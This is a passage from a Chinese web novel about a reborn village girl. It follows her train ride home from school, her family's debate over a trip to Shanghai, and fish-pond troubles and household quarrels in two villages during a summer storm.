钟绍华摸摸她的脑袋：“算了吧，你兜里那点零花钱自己留着花吧，哥请你吃。” “厂里忙得很，哥天天开着车到处拉货，兜里赚的钱压根花不出去。” 钟绍华又看了一眼祁丰兄妹俩，他大手一挥，豪气道：“你们仨都坐好了，谁也不许动，饭我去买，今儿个我请客！” 来的时候火车票是祁丰买的，买的还是火车硬卧，都没让他给钱。 他跟妹妹两张票不知道够在火车上吃几顿饭了。 钟绍华拿着粮票肉票还有钱，直接买了四盒饭，看见餐车那块还有卖汽水的，他也豪横的拿了四瓶回来。 “喏～都吃吧～”把饭和菜往小桌板上一放，钟绍华立马招手喊那三个躺在床上的人过来吃饭。 四张硬卧票里有两张下铺，两张上铺。 另外两张中铺的人还没有上车。 “嚯～你这日子不过来，搞那么丰盛？”祁丰故意打趣道。 钟绍华把筷子塞进他的嘴里：“吃还堵不住你的嘴啊？” “都快吃，吃完了喝完了我还要把汽水瓶和饭盒还回去呢。” 火车上的饭一如既往的美味，不仅香到了钟莹莹几人的心里，也香到了刚上车的那爷孙心巴里。 “天赐啊！你爹当大官了，这回给咱俩买的卧铺票，你长大以后也要像你爹一样，当大领导，知道了吗？”老头拉着孙子，声音里满是自得。 他大胖孙刚开始还能敷衍的应答他两句，但随着目的车厢越来越近，那饭菜的香气也越来越明显，他不耐烦的甩开老头的手：“爷爷，你别说了，我饿了，我要吃饭！你去给我买盒饭，我要他们手里吃的那种！” 钟莹莹四人听到声音不由得抬起头，齐刷刷的望向老头和小胖子。 这不看不要紧，一看吓一跳啊，钟莹莹在心底暗叹：这不冤家路窄吗？ 这爷孙俩不正是一年以前，祁丰带着祁绮她俩回学校，碰上的那俩无赖吗？ 由于时间久远，小胖子早已忘记三人的模样，老头一开始也没想起来。 虽然没认出人来，老头在卧铺车厢表现的可比在硬坐车厢里礼貌多了。 他努力安抚着孙子：“乖孙啊，爷爷包袱里带的有鸡蛋，咱们一会儿吃鸡蛋，你爹赚钱不容易，乖～咱不吃盒饭啊～” 小胖子不是个听劝的，当即他就往地上一坐，撒泼打滚道：“我就要吃盒饭，我就要吃盒饭，嗷嗷嗷嗷嗷～～～” 小男孩还未变声，声音尖锐又刺耳，给钟莹莹吵的都吃不下去饭了。 老头一脸难为情的看看在地上打滚的孙子，又难为情的看看正在吃饭的他们几个，满脸无奈道：“你们看我这孙子，不给他吃他就闹，可我这身上又没带钱……” 小老头一掏兜，给他们四个看了一眼自己空空的口袋，眼见四人还没有反应，他又咬着牙道：“我老头今天为了孙子豁出去了……” “几位领导不知道能不能饶点饭……” “老头，你不认得我们了吗？去年我们见过的！”祁丰笑眯眯的打断了老头的施法。 “我老头哪……”见过，不对，好像确实见过，这不他去年上儿子那一连骂了好多天的遭瘟货吗？ “你、你们怎么会在这？” 祁丰端起饭盒瞟着小胖子又吃了两口饭后道：“这是火车，我们为什么不能在这？” 小胖子早已把他们的饭视为囊中之物，他爷爷已经用那一招给他骗来不少饭了，卧铺的人好面，他爷爷恭维几句，再求一求，对方不好意思，多少会舍点饭出来。 眼见着祁丰嘴巴不断张张合合，那一盒饭就要见底了，小胖子立马不依不饶道：“爷爷，我的饭，我的饭，啊啊啊～” “闭嘴，别说了，没看对面是谁吗？到时候给你关篱笆子里去你就老实了。” 大耳刮子扇到小胖子脸上，气愤之下，老头这巴掌用了十成十的力气，小胖子的脸上几乎是瞬间就浮现一个鲜红的巴掌印。 老头打完就后悔了，他抱着小胖子乖孙、乖孙的哄着。 小胖子哪受过这种气啊，脸上痛，心里也委屈，立时就哭的上气不接下气。 他们这截车厢里的动静实在是太大了，直接给乘务员都给招了过来。 “这位老同志，您有话可以慢慢说，请别打孩子好吗？暴力行为是不可取的！” 老头大声嚷嚷：“你哪只眼睛看见我打孩子了，我这不正哄着呢吗？” 乘务员：“……”只要眼睛不瞎的话，都能看见那孩子脸上的巴掌印好吧～ 她在心里默念了两遍：我是乘务员要对乘客有耐心，不可以生气。 之后才又扬起笑脸：“好的，同志我知道了，如果有其他事情需要帮助，您可以去餐车找我们的警务人员呢，我这边就先走了。” 钟莹莹看着这受气包乘务员，只觉得真的好像人机啊。 不管哪个时空的乘务员都是一样，除了长相不同外，说话方式还有笑容弧度都诡异的一致。 他们该不会是由同一家公司，跨时空培训出来的吧？某徽的高速的微笑服务如出一辙。 等小胖子哭完了，钟莹莹他们几个的饭也吃完了，钟绍华去餐车还了玻璃饮料瓶和饭盒把押金拿了回来。 老头畏惧于祁丰的威慑力，不敢再搞事情，他又想哄孙子，只能咬牙从自己的鞋底掏出来几张皱巴巴的钱票，牵着孙子一块去了餐车买盒饭。 祁丰嗤笑道：“这不是有钱吗？合着刚刚都是在骗人啊？这老骗子！” 老头听了没有回来辩解，只是去往餐车的脚步又加快的几分。 第142章 “快把东西都放好了，这老头不是抢就是阴阳怪气的，谁知道会不会手脚不干净。”祁丰对于老头的印象非常不好。 钟绍华有些好奇，这老头干什么天怒人怨的事了，让祁丰能记一年这么久。 “这不去年我送她俩去上学嘛，在火车上正吃着饭呢，那老头上来就抢我绮绮手里的饭盒，抢东西就算了，嘴里还不干不净的。” “当时要不是边上一直有人劝，还急着送她俩去上学，我就给他送公安局去了。” 他说到这句话的时候，老头刚好带着孙子拿着饭盒从餐车那回来，听到他说这话，老头吓到脸都白了。 钟绍华：“那他确实挺过分的！”如果是抢他妹东西，他也生气。 “你俩睡上面还是睡下面？” 钟莹莹：“睡上面！”上面的位置没人坐，也安全。 “行，快上去睡觉吧！明早得早起下车。” 没人给老头还有小胖子一个眼神，小老头也只能带着孙子在过道上的小桌板上凑合着让他孙子把饭吃了，自己则是啃着包袱里干巴巴的杂面饼子，吃完后把饭盒还回去，两人也爬到中铺上老实睡觉了。 一夜无话，老头带着孙子一点小动作都没有，生怕会被人误会，他等到钟莹莹他们拿着行李下了车他才敢从中铺上急匆匆下来，去了厕所解决生理问题。 钟莹莹跟着他哥一回到村里，就收到了村里人的热烈欢迎。 钟强先笑着打*趣：“哟，咱们村的大学生回来了！” “莹莹呐，你出息了，你可是我们村出的第一个大学生啊！”村里除了楚秀秀去读了中专外，剩下的只有正在念初中的一群小崽子了。 钟刘先也跟着夸赞道：“莹莹呐，你这学习成绩这般好，以后也要多教一教村里孩子啊，回头我让我家毛蛋也跟你好好学学！” “对，回头我让我们家孩子也跟你学学～” “还有我家，我家的也要～” …… 提起学习的事，村里顿时人声鼎沸，把钟莹莹周围给围了个水泄不通。 陈显英害怕孩子心里有压力，忙上前去给她闺女解围：“这成绩还没出呢，大家先别夸了。” 钟强先反应过来，也跟着帮腔道：“对对对，孩子坐火车回来，也该累了，大家伙都别围在着了，快让让，让孩子先回去休息，有什么事回头再说。” 见没人动作，他脸一沉，严肃道：“行了，大家都散了吧，该干活干活去，咸菜厂的活都干完了吗？一个二个都在这插科打诨？” 眼见着钟强先要生气，村里人不敢再待下去，只能在临走前依依不舍对钟莹莹道，有时间一定要多教教村里孩子她是怎么学习的。 钟莹莹一一笑着答应了下来，那些人满意而归。 回到家里，钟莹莹把包袱往地上一扔，整个人很没有形象的就这么靠墙瘫坐在椅子上。 厂子里白天有人，阿黄不用巡逻，这会儿在家，钟莹莹还有心情招手喊阿黄。 “阿黄，你还认得我不？”钟莹莹每年也就搁家两三个月，阿黄还有自己的工作，本来搁钟家待的时间就不长。 这会儿钟莹莹又回了学校大半年，这么长时间没见，阿黄对她很是陌生。 它小心翼翼的用鼻子嗅了嗅钟莹莹指尖的气味，然后毛茸茸的狗脸上竟然浮现出一丝困惑：这人的味道咋那么熟悉但是就是想不起来呢？ 钟莹莹就看它脸上的表情变来变去的，觉得好玩极了。她哈哈大笑道：“娘，你看阿黄它还会做表情呢！” 陈显英在给她收拾那扔到地上的一大堆东西，在学校的衣服她觉得她闺女洗的不干净，她都得重新拆洗一遍，再给收起来。 听到钟莹莹的话，她皱着眉头道：“你别总逗它，你这么多天不在家，要是它认不出来你，仔细咬到你的手。” 钟莹莹笑嘻嘻道：“娘，不会的，阿黄又不傻，它认得我呢！”要是不认识的人，把手凑那么近，阿黄早咬人了。 钟莹莹话音刚落，阿黄的尾巴就像螺旋桨一样，飞快的旋转起来，小狗爪子也不住的往钟莹莹身上扒拉，那舌头舔的钟莹莹的手和胳膊都痒乎乎的。 她只好按着狗头道：“阿黄冷静，别舔，痒死了～” 陈显英扬起巴掌就要过来打狗：“你别让它舔你，狗嘴脏死了，它吃大粪的！” 钟莹莹拦下她的巴掌：“娘，我按住它了，没事的，而且，你见过阿黄吃大粪吗？咱家阿黄爱干净的很，从来不吃那脏东西。” 陈显英回忆了一下，好像脑海中确实没有阿黄吃大粪的印象。 不过她还是警告钟莹莹道：“狗改不了吃屎你没听过啊？不许再让它舔你手！” “好的，娘，我知道了。”钟莹莹一边冲陈显英讨好的笑着，一边又把阿黄快要挣脱自己桎梏的狗头给压了下去。 等陈显英抱着她那包袱里盖过的被子和衣服去院里拆洗时，钟莹莹从空间里掰了一小块鸡蛋糕，趁人不注意直接塞进了狗嘴里，这才是她和阿黄关系好的秘诀。 鸡蛋糕入喉的那一刻，小狗的眼睛都亮了一截，没嚼几下那块鸡蛋糕就进了它的胃袋里。 小狗啥也不懂，小狗只知道靠近钟莹莹会有好吃的，它的尾巴甩的更欢快了。 钟莹莹见它一直围着自己不肯走，笑骂道：“阿黄真是只贪心的狗狗！” 嘴上在骂，她的身体却很实诚。 瞅着外面没人注意自己，她又掰了一小块鸡蛋糕塞进了狗嘴里：“最后一块了，阿黄，这块吃完了就没有了。” 虽然家里富裕了，但要是让她爹娘知道她拿鸡蛋糕喂小狗，一定会骂她的。 这年头粮**贵啊，随便一点看似不起眼的粮食到了别人手里都可能是救命粮。 狗子很识趣，吃完东西钟莹莹让它走，它很快就走了。 休息好了后钟莹莹做的第一件事不是别的，而是洗澡。这大夏天的，做了一天火车，又从火车站坐牛车到家，身上早就黏糊到难以忍受了，钟莹莹都能闻到那若有似无的馊味了。 不能忍，不能忍，洗澡势在必行。 家里的灶上常年温着热水，钟莹莹拿了自己的盆和毛巾就关上了灶房的门。 痛痛快快的洗了一个澡后，换上干净宽松的衣服，把污水往菜地里一泼，脏衣服给她娘，自己手里拿着两把蒲扇，搬了把小椅子坐到树荫底下她娘身边，一把给自己扇着风，一把给她娘扇着风。 阳光经过茂密的白杨树枝叶的过滤，折射下来的光芒温度一降再降，能够陪着家人，钟莹莹觉得树上的蝉鸣声在这一刻都没那么多聒噪了。 陈显英心疼她，就说：“娘不热，这树下有风呢，你快回屋歇着去吧～” 钟莹莹不理睬她，只是一味的扇风。 等到她爹从厂子里回来，接替了她的位置，她才回到房间里睡了个昏天黑地。 一觉睡到太阳下山，她只觉神清气爽。 家里空空如也，爹娘和哥嫂都不在家，俩大侄如今都在县中读初中，没一个在家的。 她走进灶房，看见锅里果然给她温着一大碗鸡肉和饼子，把家里人给她留的中午饭吃下肚又洗了碗，她开始琢磨起给家人做晚饭。 四个人的饭很好做，她刚刚吃的这顿‘中午饭’跟晚饭也没差了。 起锅烧水，灶房里有现成的老南瓜还有米，看给她留的那个饭，她爹娘他们中午吃的应当是饼子，很扎实，晚上吃了就要睡觉，主食就熬个好消化的南瓜粥好了。 一个老南瓜劈成两半，削去外面的硬皮，掏空瓜子，只留下瓜瓤，洗干净，直接就在锅里给砍成小块，然后加上淘洗干净的大米和水，盖上锅盖，大火烧开后再转小火焖煮。 被削下来的硬皮钟莹莹也没有浪费，拿到外面的旧菜板上，剁吧剁吧给丢到家里的鸡圈里喂鸡去了。 掏出来的瓜子就放到窗台上，摊开晾着，等晾干以后可以拿来当瓜子嗑。 粥煮好了，还没人回来，她拿勺子搅了搅锅里的南瓜粥，又把锅盖给盖了回去。 院里被她爹娘收拾的干干净净，板板正正的，没什么活可干，堂屋里也是光洁如新，钟莹莹溜达了一圈，最后还是回到了自己屋里。 她的房间在她回来之前，她娘也给她收拾干净了。 床上的枕头和被子都是刚洗晒过的，凉席也是拿到井边刷的干干净净，经过太阳暴晒后才铺到她床上的。 她在心里感慨，真不是她不乐意干活啊，实在是她爹娘太勤快了，让她压根就找不到能下手的地方。 啪唧一下瘫回床上，她好像是噶在那了一样，一动不动，忽然耳边传来几声嗡嗡声。 她垂死梦中惊坐起，不对，还有事情可做，今天家里的蚊子还没人熏呢！ 她从床上爬起来，进到柴房里，找到家里晒干捆扎好的艾草和干薄荷，取了两三把出来，又上灶房去拿了火柴，给干艾草和薄荷点燃后又把火吹了，就着火星子引的烟气，熏遍了家里的每个角落。 第143章 “你想上海市？可以啊，等你哥嫂没那么忙了，让他俩带你过去。” “什么？你要自己去？那多危险啊，不行不行，万一路上遇见个拐子，就你这小身板，还不是人家一个麻袋就给套走了？” “到时候给你卖到大山里，给傻子当媳妇，天天打你，还不给你饭吃……哎呀，不成不成！”陈显英被自己的设想给吓到了，说啥也不同意钟莹莹自己去海市。 钟莹莹只好继续劝说：“娘，不止我一个，还有祁绮，还有我另外两个同学，宋悦跟牛丽华，一共四个人呢！” “就我跟祁绮年纪小点，宋悦跟牛丽华都成年了，没事的，从咱县里上火车，到了地方我就去宋茹姐家，中间不下去，我连厕所也不去上，能遇着什么危险？” 陈显英还是不想答应。 却听钟伟先问道：“你另外那俩同学是哪里人，靠谱吗？” 钟莹莹一听，就知道这事有门路，开心的过去揽住钟伟先的胳膊，举手发誓道：“爹，绝对靠谱！” “她俩都是市里的，牛丽华家跟咱们池省副省长家是本家，宋悦她对象你们之前应该见过，他来过我们村，他在市里邮局工作。” 陈显英听了还是不想同意，不光她不同意，她也不让钟伟先同意。 “我告诉你啊，伟先，你可不要给我犯糊涂，什么都惯着孩子！” “这一个人上海市可不是什么小事，莹莹要是个男娃娃，我就让她去了，可她一个女孩，路上遇见点什么事，咱们不在她身边，她到时候见天天不应，叫地地不灵，你就在家哭去吧！” 钟伟先看她恼火了，忙过去哄她：“好了，我也没说让她去啊，你别生气了，生气对身体不好，之前医生怎么跟你说的来着？让你别生气，别生气，孩子这不跟你好好商量呢？” 说罢钟伟先朝着钟莹莹使了个眼色，钟莹莹秒懂，立马凑到陈显英跟前讨巧卖乖。“娘，您要是不让我去，我就不去了，等过几天成绩下来了，我去学校填志愿表的时候给她们说一声，让她们自己去就成！” 钟伟先拉着陈显英坐到板凳上。“孩子都说不去了，这下你放心了吧？” 陈显英把胳膊从他怀里扯出来，板着脸道：“就你会当好人！合着我成坏人了……我有说不让她去吗？我是说不让她自己去！” “就算她是跟她几个同学一块去，但几个小姑娘顶什么事啊？外头那么乱，遇上个坏人，她们都得遭殃！” 钟莹莹也是服了她娘这杞人忧天的速度，刚刚还只是担心她一个呢，现在连她几个室友也担心上了！ 凭借着她的能力，路上要真是遇上坏人了，危险的到底是谁，还真不好说。 钟绍华想到一个解决办法。“娘，你看要不这样，到时候我给小妹送上火车，然后您再给宋茹姐拍个电报过去，通知她在那边接人。” “小妹在车上不乱跑，上车下车都有人进站台接送，哪会有人能拐到她嘛！” “实在不成，祁丰家那个小丫头不也去吗？咱麻烦一下他，让他给整张软卧票，听莹莹那意思，市里那俩小丫头条件也不错，到时候给四个小丫头弄到一个软卧车厢里，上车之后，直接车门一关，不出去了，一路睡到海市，平平安安的啥事也没有。” 钟明月也觉得他说的有道理：“娘，要不咱们就听绍华的吧！” “厂里夏天事情那么多，我跟绍华压根走不了那么多天。”整天忙着采购拉货的，忙的头昏脑胀，不知今夕何夕，去市里接小妹都是钟绍华咬牙硬挤出来的时间。 陈显英被这么多人围着劝来劝去的，她逐渐被动摇了。 她最后不耐烦嘟囔着：“行行行，我同意成了吧，再不同意马上你们都成一派的，就我一个是外人了。” 钟莹莹听到她同意了，直接一个飞扑，从她背后抱住她的脖子，在她脸上重重的亲了一口：“娘，我最爱你了～” 陈显英被亲的有些不好意思了，她摸着自己的脸说钟莹莹：“哎呦喂～这都多大人了，哪还有抱着自己老娘撒娇的？什么爱不爱的，说出去羞死人了～” 爹娘判断年龄的标准总是很双标，当他们不同意你做某件事的时候，就会说你才多大，你能干成吗？而当他们不好意思时，又会说你都多大人了，怎么还干这事！ 钟莹莹没有被陈显英故作矜持的话语给击退，反而是更加用力的抱紧了她的脖子，用自己的脸蛋去贴她的脸蛋，故意娇声娇气道：“娘，我再大也是您闺女啊，有什么好羞的？” 陈显英实在受不了她这般肉麻，只能把她从自己身上扒下来，转移话题道：“乖，去给娘盛碗饭去～娘累了一天了，实在走不动了。” 她虽然只是在咸菜厂负责调味，但一天干下来，那个活也不算轻松。 之前方子都给厂里了，可偏偏其他人学她的做出来的味道都不如她，明明流程和用料都是一样的，就是不知道哪里出了错。 如果其他人能做出来跟她一样的味道，她就可以退休在家白拿工资了，可是她在咸菜厂里精挑细选挑出的那几个徒弟没一个争气的，直到现在都没有一个能学到她八成手艺的。 陈显英能怎么办？她只能继续在厂里耗着了。 钟莹莹去灶房里给家里四个大人每人盛了一大碗南瓜粥，然后又从咸菜坛子里捞了一碟子腌油辣椒。 “哟，咱家莹莹这粥熬的真不错啊～你瞅，这米油都熬出来了～”钟绍华沿着碗边吸溜了一大口粥，朝着钟莹莹竖了一个大拇指。 钟莹莹的粥熬的确实不错，南瓜去皮后再熬制，很容易就被煮的稀烂，再跟煮的软烂的大米混在一起，橙黄色的厚粥既香甜又散发出一股南瓜的清香，米粥的表面还凝结出一层薄薄的粥油，看上去就让人食指大动。 佐以酸辣清脆的油辣椒，一口气喝两三碗下肚都是小意思。 “今天屋子也熏过了，家里都没蚊子了，莹莹可真能干～”钟明月也跟着毫不吝啬的夸奖。 谁家孩子有她家小妹这般听话的？放假回来明明可以好好休息的，这孩子还惦记着他们在外面干活，早早的就做好了饭，熏好了屋子，在家乖乖等他们回来吃饭。 钟明月看着坐在小板凳上，扎着两个麻花辫，胳膊支在膝盖上，手捧着小脸，老实巴交的瞅着他们吃饭的小姑娘，只觉得内心柔软。 她要是也能生出个这么乖巧可爱的闺女就好了，唉～她也只能想想了，钟绍华老早就结扎了，除非她换个丈夫，不然是生不出来了。 算了～有这么一个妹妹她知足了，要是让她生，生出个闺女还好，要是再生出个跟木木一样的混世魔王，她哭都没地方哭。 钟伟先夹了一筷子腌辣椒送入口中。“莹莹，你咋光看着不吃饭，你不饿？” “爹，我下午睡了好长时间，中午你们给我留的饭我都吃了，这会儿肚子还饱着呢！”钟莹莹拍了拍自己的小肚子，咚咚作响，鼓的像个小西瓜一样。 “你哥中午还笑话你呢，说你娘杀鸡了，你睡觉去了，有好东西不知道吃。” “今儿个中午家里做了不少好菜，除了鸡还有鱼呢，天阴沉沉的，有些想下雨，没来得及翻水车，鱼塘里的鱼就有好些翻了肚皮！”钟伟先一想就觉得非常可惜，那些翻白肚的鱼还不到一斤重，要是养到冬天，重量起码能翻个三四倍，现在就捞上来吃了，实在是浪费了。 钟莹莹一惊：“爹，没事吧？鱼死的多吗？” 她记得上辈子有人家鱼塘缺氧翻肚，养了三四年没清塘的鱼，直接一次死了个干净。 如果村里的鱼塘也这样，她不敢想象损失该有多大。 钟伟先开口道：“没啥大事，发现的及时，鱼没死多少！” “死了的那些也有人下去给捞了上来，分给了村里每家每户，刚死的，能吃。” 钟伟先叹了一口气：“唉～咱们村都这样了，就是不知道高家村怎么样了！” 钟家岗养鱼养的比较精细，村里人路过鱼塘时不时都会过去瞅一眼，生怕出什么问题。 高家村来钟家岗学习后，也回去养了鱼，今年是他们养鱼的第二年，也不知道他们能不能应付得过来。 如果他们的鱼都死光了，那村里接的这些单子，到了年底拿不出来货，还真有些难办。 高家村确实遭遇了跟钟家岗一模一样的状况，天气阴沉，水里的鱼都集中大张着嘴浮现在水面，高村长急的头发都白了不少。 钟伟先担心交货的问题，他就更担心了。 高家村鱼塘里的鱼都是和钟家岗签订了合同的，如果交不出那么多货，他们要赔钱的。 “都给我打起精神来，那个水车你们摇快一些啊，没见都有鱼想翻白肚了？”撞见有人偷懒，高村长上去就是一脚。 第144章 “高传家，又是你，我都说了你多少遍了，不要偷懒，不要偷懒，你怎么就听不进去好赖话呢？” “这摇水车可是关系到我们村鱼塘年底的收成，你在这给我给我添乱？下回你再这样你看我收拾不收拾你，到时是谁来都不好使！”卖了一年的鱼，高村长尝到甜头了，这会儿腰包鼓鼓，说话也硬气了不少。 挨了一脚的高传家耷拉着眼皮，看着一副要死不活的样子，高村长踢他一脚，他也没什么反应。 高村长见他这副死样子，连忙摆摆手道：“算了，算了，你回家去吧，我看着你就来气！” “传宗，你来接替高传家摇水车！老实干活，活干的好，我让记分员给你公分记得高高的！” 高传宗一脸喜色的挤开高传家，给高村长表忠心道：“是，村长，我会好好干的！” 他接过高传家手里的摇把，胳膊肌肉隆起，用尽全身的力气在那摇水车，鱼塘跟鱼塘之间联通着的水车就这么带着塘水激起千层浪，随着水花的溅射，空气中的氧气也被带入水中。 高村长满意的点点头。“传宗，我最看好的就是你，加油！” 高家村用的水车是钟家岗更新迭代换下来的，摇起来要比钟家岗现如今脚踩式的费力许多，摇一段时间就需要换个人去摇。 但高家村最不缺的就是人，比钟家岗多了好几倍的人口在这个时候派上了用场。 都不用高村长吩咐，村里人就自发过来排队赚公分了。 高传家能有那么个机会，还是他姐姐给高村长求情，给他找的活计。 都过了一年了，高传家身上的伤早好了，但身体上的伤好了，他心底的痛却是永远留下了。 如今的高传家就如同幽魂一般，谁让他干啥，他就干啥，就是不走心，干什么都像活死人一样。 他被高村长撵走之后，无处可去，又失魂落魄的回到了家里。 象药不在家，这个点她正背着闺女在地里干活呢。 钟家岗只要是品质好，适合腌制的蔬菜，他们都收，象药在自家自留地里，以及各种边边角角的地方都洒满了菜籽，她每天都要巡视她的菜地，生怕有虫子或者其他东西啄了她的菜。 “娘，你干完活了吗？村长让我来喊你回家去！”高家友火急火燎的从地头跑过来喊象药。 象药眉心微拧：“他有说什么事吗？” 高家友摇摇头：“没有～但我看他好像很着急！” 象药不疾不徐的收好地里的农具，把她那在背篓里睡的正香的闺女背到身上，然后一手拿着锄头和镰刀，一手牵着儿子。 “走吧，回家去看看他有啥事。” “嗯。” 高家友如今变得懂事多了，自打高传家没了雀儿，村里孩子都笑话高家友不愿意和他玩，他就变了。 现在每天他在镇上小学一放学他就要回村帮他娘干活，不像以前，只要一放学，他就跑没影儿了。 高家友的学费是他二姑给出的，高家的几个姑奶奶承诺了，以后高家颖的学费她们也全包了。 但象药总觉得，她自己也该努力攒些钱，总是靠着高传家几个姐姐养孩子是不行的，万一哪天人家不愿意养了，她的两个孩子要怎么办？ 菜地离象药家不太远，她没走多久，就到家了。 家门口高村长正蹲在地上，苦口婆心的对着墙角的那团黑影在劝说着什么。 象药定睛一看，那黑影不正是她那有跟没有一样的丈夫吗？ 她没出声，只是松开牵着儿子的手，从脖子上取下来拴绳挂在脖子上的金属钥匙，将钥匙插进锁眼里，‘咔嚓’一声打开了自家大门。 高村长听见动静，扭头去看：“哟，象药回来了，我正有事要和你说呢！” 象药先进了院子，把锄头放下，然后把闺女从背篓里抱出来，进到屋里，给她放到床上，才回来对高村长道：“村长，您进来说吧！还有外头那个，你杵在外面做什么？” 高村长本来要自己进屋的，但转身看见‘外头那个’还坐在墙角没有动弹，他又费劲吧啦的给‘外头那个’拉起来，也拽进了院子里。 高传家被他拉来拽去的也不反抗，就这么被他扯着往前走。 “呼～”好不容易把人拉进来，高村长喘着粗气擦了擦额头累出来的汗。 高传家这个人看着瘦，那个头在那，体重也真不是虚的。 他拉的这一把，好悬没给自己累闭过气去。 “象药啊，传家摇水车这活怕是干不了了，他体力跟不上……等回头我再给他找个轻省些的活，你记得给你二姐说一声啊，不是我不让他干，是他实在干不来，象药，就这样，我先走了啊，你记得告诉你二姐一声～” 高村长话说完之后跑的飞快，生怕象药给他留在那了。 要不是实在怕高传家二姐，他今天都不会走这一遭。 高村长来的快，走的也快，他走之后，高家一片死寂，高家友也被骇的去屋里看他妹妹去了，他总觉他留下战火有可能会蔓延到他头上。 “你就打算这辈子就这样了吗？” 象药冷眼看着像死鱼一般的丈夫。 “家里的活你不干就算了，现在二姐给你找的好好的活你也不干？你到底想干什么？” “你儿子上学都是你二姐掏的钱，高传家你还是不是男人？” 高传家被骂了也不吭声，就这么垂着头站在原地，一言不发。 象药觉得这日子过的没劲极了，她当初怎么就被高传家的脸给骗了，嫁给了这么一个窝囊废。 也不知道时间过去了多久，象药已经放弃跟高传家说话了，她进屋给闺女解开上衣给闺女喂了奶之后，又勤快的喊高家友过来给她烧火，她煮了小半锅菜粥。 象药做好饭之后没喊高传家吃饭，但是高家友还惦记着他爹。 他多盛了一碗饭，见他娘没什么反应，他飞快的跑到高传家面前，把盛满了饭的饭碗还有筷子都塞进他手里后，才折返回饭桌上吃饭。 象药看他吃饭，还指桑骂槐的骂了他一句。 “就你事多！人家不干活，你还把碗送到人家面前。” “你娘天天在地里干活，累个半死，也没见你把饭碗送到你老娘面前，让你老娘过上衣来伸手，饭来张口的日子……” 一连串的指责从象药嘴里冒出来，高传家没什么反应，高家友的头埋在饭碗里越埋越深。 象药看着自己儿子，最终还是收敛了。 生在这样的家庭，碰上个不靠谱的爹，只能说算他倒霉。 高传家对外界对话没反应，饭他还是知道吃的。 满满一碗粥，他也不嫌烫，把碗凑到嘴边，他没几下就把碗里的粥给扒下肚了。 也没去讨第二碗，因为他知道象药做饭，锅里绝对不会有多余的饭的。 走到水缸前，舀水把碗筷洗了，他就一头扎进了高家友的房间里，躺倒在了高家友的床上。 高家友看他又这样，整个人都僵住了，他委屈巴巴的望着他娘：“娘，爹又不洗脚不洗脸进我屋～” 象药瞥他一眼：“哟～这会儿知道嫌弃他了？刚才给他端饭当孝顺儿子的是谁？” 高传家不敢反驳象药，但眼眶里的眼泪却如同雨滴一样啪嗒啪嗒落在地上。 象药最后还是心软了：“你今天过来陪你妹妹睡！” 高传家的眼泪立马收了回去，连忙点头答应：“好，娘，我陪妹妹。” 他爹实在太臭了，那一身的汗水还混着地上沾的泥土和草根，就这么躺他床上，翻来覆去的，他整个床都没法要了。 高传家躺在娘和妹妹香香的床上，在眼睛闭上的前一刻还在想着，要是以后都能和娘跟妹妹睡同一张床就好了。 天黑之后仍旧能感受到空气的压抑与沉闷，这场预告已久的雨终于在后半夜下了下来。 憋了很久的乌云，给人们来了个大的。 瓢泼大雨倾盆而下，人站在外面压根睁不开眼。 之前是用水车把水往鱼塘里摇，现在又变成了把鱼塘里的水往外排，高家村的人忙活了一整夜，第二天雨过天晴，鱼塘里的水正正好跟边上的土地要齐平了。 高村长呲牙裂嘴挤掉嘴角冒出来的燎泡，痛的脸都皱成苦瓜了，还在庆幸，还好他们从钟家岗淘来了他们换下来的大水车，不然的话，这场雨非得把他们鱼塘里的鱼给冲跑不可。 钟绍华起了个大早被钟伟先赶来了高家村打探情况，钟莹莹心忧她上辈子的妈，也是一整夜没睡好，一大早就死乞白赖的上了钟绍华的车，说什么也要跟他去高家村。 钟绍华拗不过她，只能给她打开副驾驶的车门：“真是怕了你了，那高家村到底有谁在啊？你们一个二个都非得让我去～” 老的这样，小的也这样。 刚下完暴雨，钟家岗的鱼塘边是被加高加固过的，还种了鱼草和白杨树加固，路边上的这些小河沟就没那么幸运了。 第145章 一夜的暴雨，地势较低洼的河沟，沟水直接蔓延到路上，要不是这条路钟绍华熟悉的很，恐怕一不小心轮胎就会掉沟里去。 “看到了吗？这路上全是水和泥，都得跟着捣乱！”车上载着媳妇和妹妹，钟绍华开车那叫一万个小心。 钟莹莹窝在钟明月怀里，听她哥的嘴一直在不停的叭叭，她也不生气，只是笑着说：“那不是哥你开车技术好吗？要是今天是别人开车，那我指定不敢坐！” 钟绍华猛打方向盘，避开了一个大水坑后，直视前方道：“你不要给我戴高帽啊～别以为你夸我，我就不骂你了啊～” 本身这个天他该休息的，结果他老爹让他去高家村，他妹妹也让他去高家村。 好好的休息日起了个大早，钟绍华能不抱怨吗？ 眼见着快到高家村了，钟绍华又道：“一会儿下了车，如果那边没啥问题，我们就拉点货，直接回家，莹莹你不要和你同学玩太晚，听到了没有？” 钟莹莹：“哥，我知道的，我就过去看看就回来跟你们汇合。” 她本身想看的也不是高家娣，去高家娣家里只是顺腿的事情。 高家村的状况比钟家岗要差一些，沾了水之后的‘水泥路’打滑到让钟绍华直喊晦气。 每次一打滑走不动道，他就要下车，从车斗里铲一铲河沙倒到轮胎前面，增加摩擦力。 就这么折腾了平常的两倍时间他才顺利开车来到高家村。 一下车钟莹莹溜得飞快，一头扎进村子就消失不见了。 钟绍华皱着眉看着钟莹莹远去的背影，忍不住对钟明月吐槽：“你看这倒霉孩子……” 钟明月拍拍他的肩安抚道：“好了，她多大你多大？” “走吧，路滑不好走，咱们不能摸黑回去，得抓紧时间干活去了～” 另一边钟莹莹七拐八拐的靠近了高传家附近，确定周围没人盯着她后，她才贴近高家的院墙，想看能不能听到些什么信息。 如果无功而返的话，她就要去高家娣那里打听一下了。 好在，她是幸运的。 她一来就赶上了象药在骂高传家。 “高传家你个窝囊废，你儿子在外面让人打了，你连个屁都不敢放，你还是个当爹的人吗？啊～你还要不要脸？要不要脸？”随着气愤的女声愈来愈大，钟莹莹又听见一阵噼里啪啦声，那声音特别像巴掌声。 钟莹莹以为是高传家对象药动手了，她顿时就不爽了。 上辈子家暴，这辈子还家暴，高传家他是茅坑里打灯笼，找死呢吗？ 正当她都要打*算送高传家去见阎王爷时，院内又响起了另外一个女声。 “象药，你怎么能打传家呢？他是一家之主，挨你一个女人的打像什么样子？”这道声音钟莹莹听出来是高传林的。 如果是高二姑的话，见有人打她弟弟，以她那急躁的性子，恐怕不会这般好说话。 象药冷哼一声，一把将高家友扯过来：“一家之主？有他这样的一家之主吗？大姐，你看小友都被打成什么样了？” 高家友稚嫩的小脸上是一道道青青紫紫的痕迹，他眼里噙着一泡泪，身上的衣服也被撕扯的破破烂烂的，一脸委屈的喊高传林：“大姑～” 